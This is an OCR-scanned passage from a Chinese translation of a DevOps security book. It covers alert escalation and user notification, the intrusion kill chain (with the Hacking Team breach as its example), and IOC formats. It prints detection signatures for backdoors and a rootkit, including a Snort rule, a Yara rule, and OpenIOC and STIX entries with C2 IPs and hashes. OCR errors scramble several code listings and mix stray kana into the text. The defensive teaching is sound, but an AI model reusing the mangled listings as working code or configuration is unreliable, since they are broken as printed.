断地让你审查误报。这种系统根本没用，因为ー周之内你就会直接忽略所有告警。 

在分析过程中,你并不期望告警被尽可能早地发给你。你希望的是欺诈被充分证明 

之后再将告警发送给你。当自动系统充分地将事件定性为欺诈，并需要人类的智慧 

继续分析时,オ应该发出告警。例如，你不可能将文件系统的每一次变化都发给运 

维人员，但是当一个客户端连续违反限制时，你可能要发出告警。

适量的信息就是能为运维人员和最终用户提供上下文，但又不会冲击他们的那 

个平衡点。从根本上说，告警必须精简易读，最好能在一封邮件里用几行文字就能 

说清楚。识别出的问题必须在开头能被清晰地描述,额外的上下文则在告警正文中 

提供。如果3秒之内还看不完,那么告警就还需要描述得更好。

对告警时机和格式的严格要求会提升欺诈检测与分析系统的信心。最好先小范 

围地发送少量告警,而不是一下子塞满收件箱，然后再来精简。
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8.6.1 向运维人员升级安全事件

运维人员会收到很多告警。如果你曾经做过具有一定规模的基础设施的系统管 

理员，你ー定抱怨过每天收到的通知实在太多。这些通知可能包括:系统被破坏, 

证书需要更新，磁盘空间不足,流量增加或减少，漏洞需要打补丁,等等。这份エ 

作不好做,因为你的注意力总是被手机上LED灯的闪烁或屏幕上方的聊天通知打断。 

作为一名安全工程师，你要小心别让这些杂音愈演愈烈。

理想的安全监控应该遵循DevOps原则，需要开发人员和运维人员都参与到服 

务的安全运维中来。两组人马都应该接收他们关心的事件通知，并帮忙分拣及升级 

这些通知。要设计告警升级并将其集成到服务中，最好的方式就是直接与服务开 

发团队合作，将告警作为产品的特性来看待，而不是把告警当作孤立的安全组件。 

这不仅会促进组织更多地采用告警策略,而且还有助于组织能尽早消除那些多余 

的告警。

让我们回到Hindsight原型,来看ー个分析器发送告警的例子。

升级告警

Hindsight实现了一个函数，可以从分析器将告警通过邮件发送给事先定义好 

的收件人。代码清单8.17展示了如何在一个小插件的timer_event里调用它， 

以便对请求进行计数。每次在执行周期性函数timer_event时，该插件都要发 

送告警。

代码清单8.17在客户端违反连接率限制时,发送告警的Hindsight插件

require "string”
local alert = require "heka.alert"

function timer_event(ns/ s 
alert.send("ratelimitl", 

string.format(

function process_message()
一 count requests here 

end

代表该告警类型的唯一的 
随机标识符。

作为邮件标题的告警摘 
要。

包含细节信息的告 
警正文。

"%s sent %d requests over last 8 minutes", —
ip, req count),

string. format ("Rate details for IP %s ： \n. . . , ip))
end

代码清单8.18展示了该插件的配置,说明了告警要发送的收件人列表。这个插 

件还提供了限流功能，避免在一段时间内发送过多的告警,这是一件明智的事情, 

至少在验证分析平台时就应该这样做。
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代码淸单8.18配置限流参数和收件人邮箱地址

filename = Malert.luaM
message_matcher = 1'TRUE" 
ticker_interval = 60

alert
disabled 
prefix 
throttle 
modules

email
)

)

=false 
=true, 
=5,

将告警的最大次数限制为每5分钟一次。

=i
={recipients = {"secalert@example.com"}},

告警邮件的收件人列表。

尽可能避免直接向个人发送告警。人们一天只工作8小时,不要指望他们全天 

能随时阅读收到的告警。邮件列表也不是ー个好主意,如果阅读告警这件事需要多 

人负责,反而会没有人负责,因为每个人都会认为反正有其他人会处理。

我个人更喜欢使用告警升级服务,比如PagerDuty,你可以定义一条升级路径 

来处理告警，通常是一些开发人员和运维人员轮流处理。根据周末人员是休假还是 

待命，升级路径会进行响应调整，这样总是有一个人而且只有一个人负责接听电话。

PagerDuty这样的升级服务会提供一个邮件地址，你可以将告警发给这个地址， 

告警将被自动转换成事件并分配给下ー个有空余时间的人。相较于到处发送告警或 

者聊天消息并祈祷有人能看到的方式，这种分拣告警的方式更强大。

调整告警正文

信息消息和可操作的告警之间的区别是很明显的。信息消息包含了在基础设施 

内部其状态变化的细节，但无法指出任何恶意活动。可操作的告警也会描述基础设 

施的状态变化，但同时还有对恶意活动的强烈怀疑。

来看下面这两个例子。第一个例子是报告基础设施的最近端口扫描结果的日常 

邮件。每天都有许多系统加入或退出,而这封日常邮件会报告这些情况。消息分成 

两部分,一部分是上一次扫描之后加入的新服务,另一部分是上一次扫描之后关闭 

的服务。

乍ー看,这些信息都很有用。毕竟，基础设施中有哪些服务开放和关闭是非常 

值得留意的。然而，这条消息还够不上告警的标准,因为其中并没有指出恶意活动。 

实际上,运维人员也就在前几周会读一下这些邮件,之后就会对其中的信息变得麻 

木，最后将它们遗忘掉。这种类型的邮件不应该发给告警升级服务。
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代码清单8.19报告前一天开放和关闭的服务

New Open Service List

STATUS HOST PORT PROTO DNS
OPEN 
OPEN 
OPEN 
OPEN 
OPEN 
OPEN

1
1
1
1
1
1

3.4
3.5
3.6
3.6
4.7
5.4

22 tcp
80 tcp
80 tcp
443 tcp
80 tcp
443 tcp

adminl.***.net
generic.***.example.com 
webappX.***.example.com 
webappX.***.example.com 
apiY.***.example.net 
apiY.***.example.net

2
2
2

2
2

New Closed Service List

STATUS HOST PORT PROTO DNS
CLOSED
CLOSED 
CLOSEDDOWN

1.2.4.7
1.2.4.7
1.2.3.5

80 tcp
443 tcp
22 tcp

nat-vpnl.***.example.net
unknown
ec2-56-235-192-59.us-west-l.compu...

第二条消息展示的是AWS发出的自动邮件,它的内部欺诈检测基础设施在检 

测到客户凭证被泄露到GitHub仓库时,就会发送告警。和信息邮件相比,这封邮 

件传递了明确的消息：你的凭证已被泄露,应立即采取行动!消息简短中肯。账户 

ID,还有受影响的用户名和仓库URL都包含在其中,不管是谁被分到了这条告警, 

他都有足够的信息来采取适当的行动。这种类型的告警オ应该发送给升级服务以便 

能立即处理。

代码清单8.20当在GitHub中发现凭证时,AWS发出的可操作的告警

Amazon Web Services has opened case 2014552771 on your behalf.

The details of the case are as follows：

Case ID： 2012372171
Subject: Your AWS account 919392133571 is compromised
Severity： Low
Correspondence： Dear AWS Customer,

Your AWS Account is compromised! Please review the following notice and take 
immediate action to secure your account.

Your security is important to us. We have become aware that the AWS Access 
Key AKIAJ... (belonging to IAM user "sam") along with the corresponding 
Secret Key is publicly available online at https：//***.com/Securing- 
DevOps/invoicer/compare/test-server etc...

发送高质量的告警是一门艺术。你应该花些时间来掌握它，并从同事那里获取 

反馈。放之四海而皆准的规则是不存在的，因此你需要起草适合自己组织的规则。 

在我看来,安全告警必须遵循和运维告警一样的路径，这样就可以在同样的级别处 
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理它们,因此和其他服务的中断问题相比，它们并没有任何区别。将安全告警与产 

品尽可能紧密地结合起来,这是构建高质量事件响应的最好方式 。

8.6.2 何时以何种方式通知最终用户

和通知最终用户相比,通知开发人员和运维人员还算容易。自己的团队不会被 

轻易吓倒，不会ー看到告警就立即打电话给支持部门，也不需要把告警内容翻译成 

15种不同的语言。最终用户可能会经历以上所有这些事情，向他们发出告警虽然困 

难,但却是必要的。

对于受欢迎的服务,成熟的分析层会捕捉到许多关于用户的欺诈和攻击，而如 

何将这些信息透露给他们，这就需要你来做决策。技术类网站，比如前面例子中的 

AWS,可以期望它们的用户理解“威胁”或者“凭证泄露”这些术语的含义，而非 

技术型的服务常常要和不熟悉这些术语的用户打交道。

应该将影响其数据的安全事件通知给最终用户。组织有时害怕将告警告知用户， 

担心这样做会对其声誉造成负面影响。孰能无过，但是即使组织犯了错，向最终用 

户隐瞒威胁信息这样的做法也是完全不能接受的。在世界上的有些地方，这甚至是 

违法的。

向最终用户发出告警时，告警通知必须包含足够的信息来帮助用户做出明智的 

决定。图8.5展示了一个例子,这是在检测到其Firefbx Account服务有可疑活动时， 

组织发送给客户的通知。在这个例子里,发生在2016年的一起密码重用攻击中（链 

接8.11）,地理位置分析器检测到了异常。通知简明扼要,也包含了要让用户遵循的 

明确指示,但是缺少了上下文,而用户想知道他们的账户出了什么问题,以及这对 

他们的数据意味着什么。

经过后续的迭代,消息加上了上下文，例如触发问题的连接地点,以便帮助用 

户理解并更严肃地对待通知。编写良好的安全通知是个耗费时间的过程,还需要和 

许多专家小组合作，包括设计师、产品经理、开发人员及翻译人员（上面这条通知 

就被翻译成了 9种语言）。你还要让支持团队参与进来，因为用户一定会向你的组 

织了解更多的信息，有些时候是因为他们感到困惑和担忧，有些时候则是因为他们 

渴望知道更多。这是人类的天性。

为了帮助组织做好准备,安全团队能做的最好的演习可能就是模拟一次假事件, 

让完整的产品团队ー起参与用户通知的起草。如果真的发生了事故,这种演习模拟 

可以提高组织的反应时间。
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We detected suspicious activity on your Firefox Account. Your account may have 
been compromised.

lb prevent further unauthorized access to your Firefox Account, we've reset your 
password and are notifying you as a precaution.

What should you do?

1. First, change your Firefox Account password. See here for instructions.

2. Second, if Firefox stores passwords to websites, you should change those 
passwords as well. Attackers may have access to those passwords, so you 
should check those accounts for suspicious activity. Learn how to see what 
passwords Firefox is storing for you.

For more information, check out this blog post.

Best,

The Firefox Accounts team

Mozilla
331 E. Evelyn Avenue Mountain View, CA 94041

Mozilla Privacy Policy

图8.5当检测到账户欺诈活动后，组织发给Firefox Account服务的最终用户的邮件通知。通知 
很简短,也包含了用户应该如何做的明确指示，但是缺少了问题根源的上下文。

8.y本章小结

•分析层是日志流水线的大脑,所有对复杂日志事件的处理都发生在这里 。

• Hindsight这样的工具可让你运行自定义插件来分析日志数据并触发告警。

• 字符串特征和正则表达式可以有效地捕捉已知的攻击,但会产生大量告警。

・ 统计学方法有助于减少噪声,只有在客户端超过事先定义的阈值时才会触发 

告警。

• 用户行为的历史数据有助于检测那些无法通过特征或统计学方法识别的异常 

活动。

• 发送给运维人员的告警应该是可操作的，并且应该经历升级策略以保证它们
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能被及时处理。

•告警要做到言简意赅,并且应该包含足够的上下文以便让运维人员能立即采 

取行动。

•公有服务的最终用户应该收到安全事件和数据潜在风险的通知，但创建这些 

通知很复杂，必须让产品团队也参与进来。





入侵检测

本章内容包括

■ 研究入侵在基础设施中蔓延的各个阶段

・ 使用攻击指示符检测入侵

・ 使用しinux审计日志检测入侵
・ 远程检查终端节点的文件系统、内存和网络

・ 使用入侵检测系统过滤出站网络流量

・ 理解开发人员和运维人员在入侵检测中发挥的作用

2015年7月，化名为"Phineas Fisher”的黑客在Twitter上发布了一条简短但令 

人不寒而栗的消息：

gamma和HT沦陷,还有几家也快了 :)

这条消息迅速在信息安全社区传开。Gamma International和Hacking Team (HT) 
是两家著名的安全公司,它们靠岀售攻击性入侵技术而盈利。这两家公司都以将流 

行软件中的漏洞卖给出价最高者而闻名，这让它们在安全专家的圈子里声名狼藉。 

Phineas于2014年入侵了 Gamma International,因此另一家知名安全公司也被入侵 

的消息令许多人感到紧张。Phineas已经攻破了地球上最偏执的安全公司的网络了 

吗？人们一开始还有所怀疑，但Phineas很快公开了该公司邮件服务器的完整转储 
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数据,消除了大家对该公司防御被攻破的质疑。但他是如何做到的呢?

在攻击发生数月之后,Phineas发布了一份详细的报告，这份报告详细地揭露了 

他是如何ー步ー步地接近该公司最敏感的数据的。在扫描了 HT暴露的网络入口后， 

Phineas并没有发现明显的缺陷,他随即对HT使用的网络设备进行逆向工程,并为 

此编写了零日攻击代码。根据记录,这次攻击只花了“几周的时间”。在进入网络之后， 

Phineas留下了后门和探索工具，并不断提升访问权限,步步为营，一路窃取了密码 

和数据,直到HT的秘密全部被泄露。读者可以浏览ー下这份报告（链接9.1）,真 

是令人大开眼界。

人们只能祈祷自己永远不要触怒像Phineas Fisher这样执着的黑客。但是,错误 

总是防不胜防：凭证会被放到公开网站上,过时的软件会被互联网访问,解锁的手 

机在酒吧里丢失,密码被受到威胁的网站共享。就算是最优秀的基础设施，最后也 

会被攻破,这就是线上运维服务的残酷现实。

我们来看看你应该落实哪些安全控制来捕捉入侵。

9.1 入侵七部曲：杀伤链

Lockheed Martin在2011年发表的ー篇论文里定义了术语“杀伤链”，用来描述 

攻击者在攻击目标时采取的七个步骤（链接9.2）。该术语源自军事领域,描述的是 

战场上与目标交战的过程，数字世界借鉴了它。杀伤链是安全行业的标准术语，提 

供了对入侵各个阶段的立体描述,理解这个术语将会大有裨益。

杀伤链七部曲

1 .侦查跟踪——首先，对目标攻击面进行调查，可能用到的手段有ZAP或 

NMAP这样的安全扫描器,或是通过浏览社交媒体和邮件列表等方式。还有可 

能是对目标办公楼的物理勘查。这是信息收集的阶段

2 .武器构建——开发专门针对目标的攻击手段,例如,将木马植入到有公 

司标识的PDF文档里,或者利用某个设备的漏洞。

3 .载荷投递——在目标上部署攻击。采用的机制因目标而异,邮件和远程 

网络攻击是最流行的技术手段，

4 .漏洞利用——激活目标上的攻击，真正实施威胁。漏洞利用通常在用户 

操作时自动完成，例如，成功地自动部署木马，但攻击者也可以伺机远程触发。

5 .安装植入-旦威胁成功，攻击者通常会“进入”并开始部署他们的

工具，、后门、嗅探器和其他木马都会在这个阶段进行部署,
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6 .命令与控制（C2, Command and Control） 在工具被安装到目标上并 

向母船发回报告之前,大多数攻击者是漫无目的的,这种连接被称为C2信道, 

攻击者借助它获得对目标的现场控制。

7 .目标达成——攻击者现在进入了，可以继续完成他们的目标，无论是窃 

取数据还是提升网络中对其他系统的访问权限（称为横向移动）。

你可以看看Phineas攻击Hacking Team的报告，其中每ー步的操作简直就是标 

准杀伤链的翻版:

1 .侦查跟踪——Phineas从外部扫描HT网络,没有找到明显的漏洞,然后决 

定将目光转向网络设备。

2 .武器构建——Phineas对该网络设备的固件进行逆向工程并为此编写了漏洞 

程序。

3 .载荷投递——漏洞程序通过网络发送到了公开可见的网络设备上。

4 .漏洞利用——当漏洞程序抵达目标后,它会自动被触发。

5 .安装植入——Phineas在被威胁的目标上安装了各种定制工具,悄无声息地 

继续在网络中移动。

6 .命令与控制——C2信道是通过DNS建立的反向shel!〇 DNS也被用来泄露 

数据，因为UDP端口 53通常允许数据流出企业网络。

7I目标达成——威胁最初的目标是攻击的第一步,Phineas反复利用杀伤链流 

程直到他获得了该公司最敏感的数据的访问权限，达到了将这些数据流出公 

司网络并泄露到互联网上的目的。

了解杀伤链可以让我们在恰当的地方建立检测机制。我们来回顾ー下本书第一 

部分为发票应用构建的基础设施，其中建立了四个层次的检测机制，如图9,1所示。 

左侧的攻击者已经成功威胁了基础设施并获得了系统的访问权限。第一个被触发的 

可能是被威胁的系统上的系统调用审计日志,因为这些日志在该系统被利用的同时 

就被触发了。当攻击者进入安装植入阶段并下载后续漏洞利用的工具时,入侵检测 

系统（IDS）会捕捉到出站的连接并发出告警。使用终端节点安全工具对系统进行 

例行检查,还可以捕捉到可疑的文件和留在被破坏的系统上的后门。最后，运维人 

员可能会注意到基础设施某个组件的不寻常行为,并对其进行调查。
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4

运维人员会留意基础设施,识别 

自动化工具捕捉不到的“奇怪”行 

为,入侵往往就在这里被发现。

攻击者

日志流水线

1日志流水线会检查类似syscall 
审计日志这样的事件,捕捉被禁止 

的操作并向运维人员发出告警。

入侵检测系统通过对出站流量 

的分析来检测欺诈活动的模式, 

例如,命令与控制通道的回调或 

者数据流出。

审计卜 

日志

图9.1

阻止杀伤链。

终端节点安全工具检查 

系统寻找具有后门特征这 

样的攻击指示符。

建立四层检测机制一审计日志、IDS、终端节点安全工具及运维人员警戒,尽可能早地

我们将在本章详细地讨论每ー层,但在我们深入讨论工具之前，我需要先介绍 

攻击指示符(IOC, Indicator Of Compromise)的概念,这个业界术语指的是表示攻 

击模式的信息片段。IOC包含的信息能帮助你检测到组织中的入侵，还可以将这些 

信息共享给其他组织,它们可能有着类似的境遇。

9.2什么是攻击指示符
离开了用于事件比对的欺诈活动数据库,即便是最好的工具也毫无用武之地。 

成熟的安全团队往往会投入大量时间来构建这个数据库(这个活动被称为威胁情 

报),并将这些数据提供给入侵检测基础设施ー对于小团队和独立团队来说，这个 

步骤有些难以承受。早在信息安全发展的萌芽阶段,专家们已经意识到分享信息对 

保护各自环境的重要意义,并致力于标准化共享流程。

IOC就是安全专家分享欺诈活动信息的方法。IOC有许多不同的类型,包括:
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• 恶意软件和后门的MD5或SHA256哈希。

• C2信道或攻击主机的IP地址。

• 涉及攻击的域。

• 恶意软件创建或修改的Windows系统注册表键。

• 在恶意软件中找到的字符串,可以在磁盘或内存中搜索这些字符串。

在某种程度上，IOC和病毒特征类似。主要的区别在于IOC是用来共享的,而 

杀毒软件则是小心翼翼地保护着数据库的私密性。IOC也不是专门用来定义恶意软 

件或病毒的，它可以包含钓鱼攻击的模式或者涉及拒绝服务(DoS, Denial of Service) 
攻击的IP。攻击指示器这个术语更加强调共享威胁情报的理念，与特定的具体条目 

关系不大。

来自不同组织的安全团队可以交换!OC来扩大各自的检测覆盖范围。政府机构 

和安全公司也常常公布!OC来帮助组织对抗活跃的威胁。例如,美国计算机应急准 

备小组(US-CERT, US Computer Emergency Readiness Team)例行发布的恶意活动 

分析报告(链接9.3)，其中就包括了一些IOC。安全团队会阅读这些报告并使用其 

提供的IOC来检查自己环境中的潜在威胁。

在接下来的小节里，我们将快速浏览一些最常见的!OC格式:Snort Tabs、 

Yara、OpenlOC 及 CybOX。

SNORT规贝リ

Snort是目前仍在使用的最古老的IDS。Snort由Martin Roesch于1998年创建, 

在近20年的时间里Snort一直用于保护网络边界。在很早的时候,安全管理员就意 

识到了互相分享信息对提升Snort系统表现的重要性，为了有效地分享信息，他们 

还创建了规则格式。Snort规则格式现在仍然很流行。其他IDS产品也支持这种格式, 

例如Suricata,而且你会发现Snort规则经常和分析报告一起发布。

Snort规则描述了网络层的恶意活动。代码清单9.1展示了一条规则的例子，它 

用来捕捉Dagger后门的活动。它由四部分组成:

• 规则的第一行描述了规则操作(alert),如果规则匹配就生成告警。其他 

可能的操作还有记录活动日志或者完全断开连接。

• 第二行描述了网络协议(tcp)和连接参数。要匹配这条规则，连接必须来 

自家庭网络并要连接到外部网络(在大多数情况下就是互联网)，源端口是 

2589,而目标端口可以是任意端口。

• 第三部分是规则的选项。在这里,我们会看到一条msg，其内容会被添加到 

alert及该规则触发的日志中，还有帮助组织和分类规则的信息(metada- 
ta、classtype, sid及 rev)。
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•最后,规则的第四部分包含了一些参数，用于寻找匹配Dagger后门活动的 

连接。参数flow描述了规则会被应用到哪一部分的连接数据流上;在这个例 

子里,规则被应用到了服务器响应和返回客户机之间的数据流上。参数con- 
tent包含了一些二进制和ASCI!字符串，通过在数据包载荷中查找与这些字 

符串匹配的内容来找出欺诈数据包。还有一个参数depth，它设置了每个数 

据包中对搜索匹配内容的长度限制，这个例子的限制是每个载荷的前16字节。

代码清单9.1检测Dagger后门网络活动的Snort规则

规则操作触发告警。

------A alert
tcp $HOME_NET 2589 -> $EXTERNAL_NET any ( ---

msg： "MALWARE-BACKDOOR - Dagger_l.4.0"
metadata： ruleset community； 
classtype： misc-activity； 
sid： 105；

rev： 14;

载荷匹配参数。

协议匹配。

卜规则分类选项。

flow： to_client,established；

content： "2|00 00 00 06 00 00 00|Drives|24 00|"；

depth： 16；

在本世纪初，Snort规则是保护网络免受病毒传播的标准方法。现在有很多地方 

仍然在使用它,但我们马上就会看到，在laaS环境中部署这些规则会遇到很大的挑 

战，因为运维人员无法控制laaS环境中的网络。

这些规则也有一些限制，它们只能捕捉网络流量中的欺诈活动，不能用来描述 

系统中的恶意文件。这是接下来我们将要讨论的Yara格式的重点任务。

YARA
Yara即是工具也是IOC格式，它的目标是识别出恶意软件并进行分类。Yara由 

VirusTotal的Victor Alvarez创建，目的是能够在分析师之间组织和分享信息。代码 

清单9.2展示了 Linux rootkit1的Yara文件示例。这份文档包括三部分:

・meta部分包含了 IOC信息，比如作者的名字、创建日志，或者指向其他文档 

的链接。

• strings部分包含了三个识别rootkit的字符串，ー个十六进制和两个ASCII。

1 rootkit ー词最早出现在UNIX系统上。系统入侵者为了获取系统管理员级的root权限,或者为了清除 
被系统记录的入侵痕迹，会重新汇编ー些软件工具（术语称为kit）»例如ps、netstatw、passwd »等 
等，这些软件就称为rootkit （链接9.4）。ー译者注
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• condition部分是应用于被检查的文件上的过滤器，它要找到其中匹配特定条 

件集合的那些文件。在这个例子里,过滤条件先查找与ELF格式匹配的文件 

头（uint32（0） = 0x464c457f）•然后查找ELF类型的共享对象文件（uint8（16） 
=0x0003）« ELF 代表 可执行与 可链接格式（Executable and Linkable 
Format）,是UNIX系统上的可执行文件格式。如果这两个条件都满足，Yara 
将查找在strings部分中定义的字符串。如果它们全部都出现在文件中,那么 

它们就和rootkit匹配成功了。

代码清单 9.2 Umbreon rootkit1 的 Yara 规则

rule crime_linux_umbreon ： rootkit 包含了规则描述的meta部分。

meta：

description = 1'Catches Umbreon rootkit"
reference = "http：//blog.♦**.com/trendlabs-security-

intelligence/pokemon-themed-umbreon-1inux-rootkit-hits-x8 6-arm-systems" 
author = "Fernando Merces, FTR, Trend Micro"

"2016-08"
识另リ rootkit 的 strings〇

strings：

$ = { 75 6e 66 75 63 6b 5f 6c 69 6e 6b 6d 61 70
$ = "unhide.rb" ascii fullword 
$ = "rkit11 ascii full word

condition： <______________________

}

二进制文件必须满足这些条件オ 
能被标记成rootkit〇

uint32(0) == 0x464c457f // Generic ELF header
and uint8(16) == 0x0003 // Shared object file 
and all of them

}

只要使用命令 Yara -r rulefile . yar /path/to/scan, Yara 命令行エ 

具就可以扫描整个系统,找到符合这些特征的恶意文件。Yara Rules项目收集了安 

全分析师们在调查中发现的IOC，任何人都可以免费使用（链接9.5）。如果想使用 

Yara和扫描系统中的IOC,可以从这个优秀的项目入门。

Yara专注于基于文件的IOCo它提供了一个强大而复杂的接口来扫描文件系统, 

但不是所有的IOC都是文件。其他IOC格式（如OpenlOC）可以查找不是基于文件 

的指示器。

OpenlOC
OpenlOC是Mandiant （现在属于FireEye）创造的格式,用于操作终端节点安全

1 Umbreon rootkit得名于掌机游戏《口袋妖怪》中的月精灵（Umbreon），它会攻击Intel和ARM处 
理器的Linux系统，并且非常难以侦测。——译者注
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工具中的IOC。Mandiant因在2013年发布的APT1报告（链接9.6）而进入公众视野， 

这份报告提供了一些用OpenlOC格式的IOC,帮助世界各地的安全团队检查环境中 

的潜在威胁。

和Yara 1OC不同,OpenlOC使用的是XML,这使得这些文件基本无法读懂。 

代码清单9.3展示了一个IOC文档示例,它查找的是名为Sourface的针对Windows 
系统的后门。这只是完整文档中的ー小部分，你可以在链接9.7中找到完整的文档。

如果你花足够的时间来仔细阅读这份文件，也许可以慢慢地理解这种格式的结构。 

第一部分是元数据,包括唯一的标识符、作者和日期。有意思的部分是〈definition〉部分。 

这一部分以一个声明了 OR操作符的!ndicator条目开始，意味着匹配后续任何ー个 

ェndicatorエtem都是可以的（而AND操作则要求每ー个［ndicatorltem都要匹配）。

Indicator部分定义了三个エndicatorエtem,具体如下:

•第一条名为Portエtem,检查远程IP 70.85.221.10是否连接到了系统。

•第二条名为Fileエtem,检查磁盘中是否存在MD5校验和为“8c4仇713……” 
的文件，这实际上是要求计算出磁盘上每个文件的校验和，并将它们与恶意 

文件的校验和做对比。

,第三条名为Processitem,检查内存,寻找加载到运行进程中的conhost.dll库。

代码清单9.3摘录自OpenlOC对Sourface后门的定义

<?xml version='1.0' encoding= *UTF-8'?> 
<ioc
xmlns：xsi="http：//www.***.org/2001/XMLSchema-instance 
xmlns：xsd=nhttp：//www.***.org/2001/XMLSchema" 
xmlns=nhttp：//schemas.***.com/2010/iocn 
id="elcbf7ca-4938-4d3c-a7e6-3ff966516191" 
last-modified=n2014-10-21T13:08:41Z"> 

描述IOC的 
元数据 〇 <short_description>SOURFACE (REPORT)</short_description>

<description>SOURFACE is a downloader that obtains a second-stage 
backdoor from a C2 server. Over time the downloader has evolved 
and the newer versions, usually compiled with the DLL name

- 'coreshell.dll'. These variants are distinct from the older versions 
so we refer to it as SOURFACE/CORESHELL or simply CORESHELL.
</description>
<authored_by>FireEye</authored_by>
<authored_date>2 014-10-16T2 0：58：21Z</authored_date>

<definition>
<Indicator id="el6e6299-f75b..." operator="OR">

<lndicatorltem id="590-7df8 ..." condition="is 
<Context document="PortItem"

卜! IOC 的 XML 

模式。

屛查连接到系
1 I统的欺诈IP。
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search= H Por 111 em/ remote IP " type=*'mir,,/>
<Content type=»IP">70.85.221.10</Content>

</IndicatorItem> |检查欺诈文件的
MD5o

<lndicatorltem id=n5ea9f200-01f1..." condition="is"> <----- 1
<Context document=MFileitem" 

search=nFileltem/Md5sum" type="mir"/>
<Content type="md5">8c4fa713c5e2b009114adda758adc445</Content>

</IndicatorItem> |检查本地运行的欺

诈进程。<Indicatoritem id="3f83ca5b-9a2c..." conditionswis"> ◄—1
<Context documents"Processitem" 

search="ProcessItem/SectionList/MemorySection/Name" 
type="mir"/>

<Content type="string">Local Settings\Application Data\conhost.dll
</Content>
</IndicatorItem>

</lndicator>
</definition>

</ioc>

OpenlOC不是ー种漂亮的格式，但是却很强大。Mandiant定义了数百条数据来 

检查操作系统中各个部分的指示符。尽管大多数都聚焦于Windows系统（Mandiant 
提供的工具,例如Redline和MIR只能在Windows上运行），但OpenlOC可以用于 

分享其他类型系统的指示符。

数字调查员用这种形式来共享!OC已司空见惯,但是Yara渐渐地有变成行业 

标准的趋势,可能是因为Yara规则比复杂的OpenlOC XML格式写起来要更容易一 

些。但是,OpenlOC依然是安全社区分享指示符的重要方式，因为它可以分享的不 

仅仅是文件签名。

接下来,我们要讨论最后ー种格式STIX,它的表达能力和OpenlOC类似,但 

其目标是提高可读性并成为IOC共享的事实标准。

STIX 与 TAXII
STIX （Structured Threat Information eXpression,结构化威胁信息表达式）是 

由OASIS网络空间威胁情报技术委员会（Cyber Threat Intelligence Technical 
Committee）支持的方案，其目的是将威胁分析、IOC规范、威胁响应及组织之间的 

信息共享进行标准化。和我们之前讨论的着眼于IOC规范的格式不同，STIX旨在 

简化保护组织免受攻击的整个流程。

STIX内部有另外两个协议:CybOX （Cyber Observable eXpression,网络空间 

可观测表达式）是和OpenlOC相似的IOC文档格式，而TAXII （Trusted Automated 
exchange of Indicator Information,受信自动化指示符信息交换）则是基于HTTP并 
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在STIX网络参与方之间共享信息的协议。TAXII协议有着特殊的意义,因为它解 

决了共享和发现IOC的问题。多年来,安全运维人员搭建自己的工具并制作自己的 

资源列表，以便收集新的IOC并将它们输入检测基础设施。有了 TAXII,整个过程 

将围绕标准进行自动化，而该标准得到了许多组织和安全产品提供商的支持。

任何人都可以通过连接TAXII交换服务器获取STIX格式的IOCo代码清单9.4 
和9.5展示了如何使用打包在Docker容器内的名为cabby的客户端（链接9.8）来 

查询TAX1I交换服务器（链接9.9）。代码清单9.4查询了交换服务器的发现服务, 

查询会返回一个集合列表,每个集合包含的IOC来源是不同的。示例输出只展示了 

ー个来自EmergingThreats的集合,而完整的命令返回会包含更多集合。

代码清单9.4查询链接9.9的TAXII交换服务器，得到可用集合

使用cabby客户端取回发现数据的
Docker 命令。

$ docker run --rm=true eclecticiq/cabby：latest
-------------- taxii-collections

--path http：//***.com/taxii-discovery-service
--username guest - -password guest |通过 taxii 月艮务 发现

集合中的元数第。
===Data Collection Information === ---- 1
Collection Name： guest.EmergingThreats_rules
Collection Type： DATA_FEED
Available： True
Collection Description： guest.EmergingThreats_rules
Supported Content： urn：stix.mitre.org：xml：1.0
===Polling Service Instance ===

Poll Protocol： urn：taxii.mitre.org：protocol：https：1.0
Poll Address： http：//***.com/taxii-data
Message Binding： urn：taxii.mitre.org：message：xml：1.1

发现服务返回了每个集合的名称,可以将它们输入轮询命令，以便下载这个集 

合中包含STIX IOC的完整列表。代码清单9.5展示了如何使用cabby客户端来下载 

这些IOCo STIX XML文档非常冗长，代码清单中展示的只是一条截取过的IOC, 
而且还去掉了一些额外的字段。

代码清单9.5从TAXII交换服务器上获取IP STIX IOC

$ docker run --rm=true eclecticiq/cabby：latest taxii-poll \
--path http：//***.com/taxii-data \
--collection guest.EmergingThreats_rules \
--username guest --password guest
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<stix：STIX_Package id= nedge：Package-96b-38-4d-8f-8fM version=H1.1.1" 
timestamp="2017-03-06T17:21:19.863954+00:00n>

<stix：Observables cybox_major_version="2" cybox_minor_version="1" 
cybox_update_version="0">
<cybox：Observable id="opensource：Observable-6-8-4ーフーl6b” 
sighting_count=Hl">
<cybox：Title>IP: 64.15.77.71</cybox：Title>
<cybox:Object id="opensource：Address-a5-0-4-b-372">
<cybox：Properties xsi：type="AddressObj：AddressObjectType" 
category= nipv4-addr" is_destination="true">
<AddressObj：Address_Value condition="Equal">

64.15.77.71 <---------
</AddressObj：Address_Value>

</cybox：Properties>
</cybox：Object>

</cybox：Observable>
</stix：Observables>

该IOC将此IP地址标记为恶意。

</stix：STIX_Package >

显然，STIX格式（或者任何基于XML的格式）并不在意空间:要把ー个4字 

节的IPv4地址裹在4000字节的XML之中才能分享。此外，STIX和TAXH是开放 

的标准，它们已经在一些开源项目（链接9.10）和商业项目（链接9.11）中得到了实现, 

是目前最好的交换!OC的方式。

在本书编写之时，还不能断言STIX和TAXII是否会被广泛采纳。第2版的规 

范将会被显著简化，使用JSON格式来代替XML,如代码清单9.6所示，并且更容 

易被其他各种安全工具支持。要持续关注这些项目。当组织的安全性足够成熟并需 

要和其他组织共享威胁情报时，它们能发挥巨大的作用。

代码清单9.6表示毒藤后门的JSON格式的STIX v2 IOC

"type"： "indicator",
"id": "indicator--a932fcc6-e032-176c-126f-cb970a5aladew,
"labels"：[

"f ile-hash-watchlist •' 后门文件的SHA256哈希。1
し
"name"： "File hash for Poison Ivy variant",
"pattern": "[£ile:hashes:sha256 = 'ef537f25c895bfa...']M ，

},

在此之前，你应该集中精力提升调查能力。我们已经讨论了 IOC的目的和格式, 

现在是时候学习如何扫描基础设施了。在下ー节中,我们将开始研究使用终端节点 

安全工具的系统。
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9.3扫描终端节点寻找IOC
在基础设施中寻找被攻击的系统只会将你带进无休止的漩涡中,最后的结果只 

能是将所有系统都翻个底朝天，才能确保它们有没有受到威胁。我见过有些安全团 

队无所不用其极的发明各种技术来这样做，有提交到连接了数百个系统的paral- 
lel-ssh命令的烧脑bash脚本，有打包在puppet manifest中并通过syslog返回结 

果的自制可执行文件。要让代码在成百上千的系统中执行,工程师可从来不缺天马 

行空的想象力,但我们不得不承认,这些解决方案都不够好!

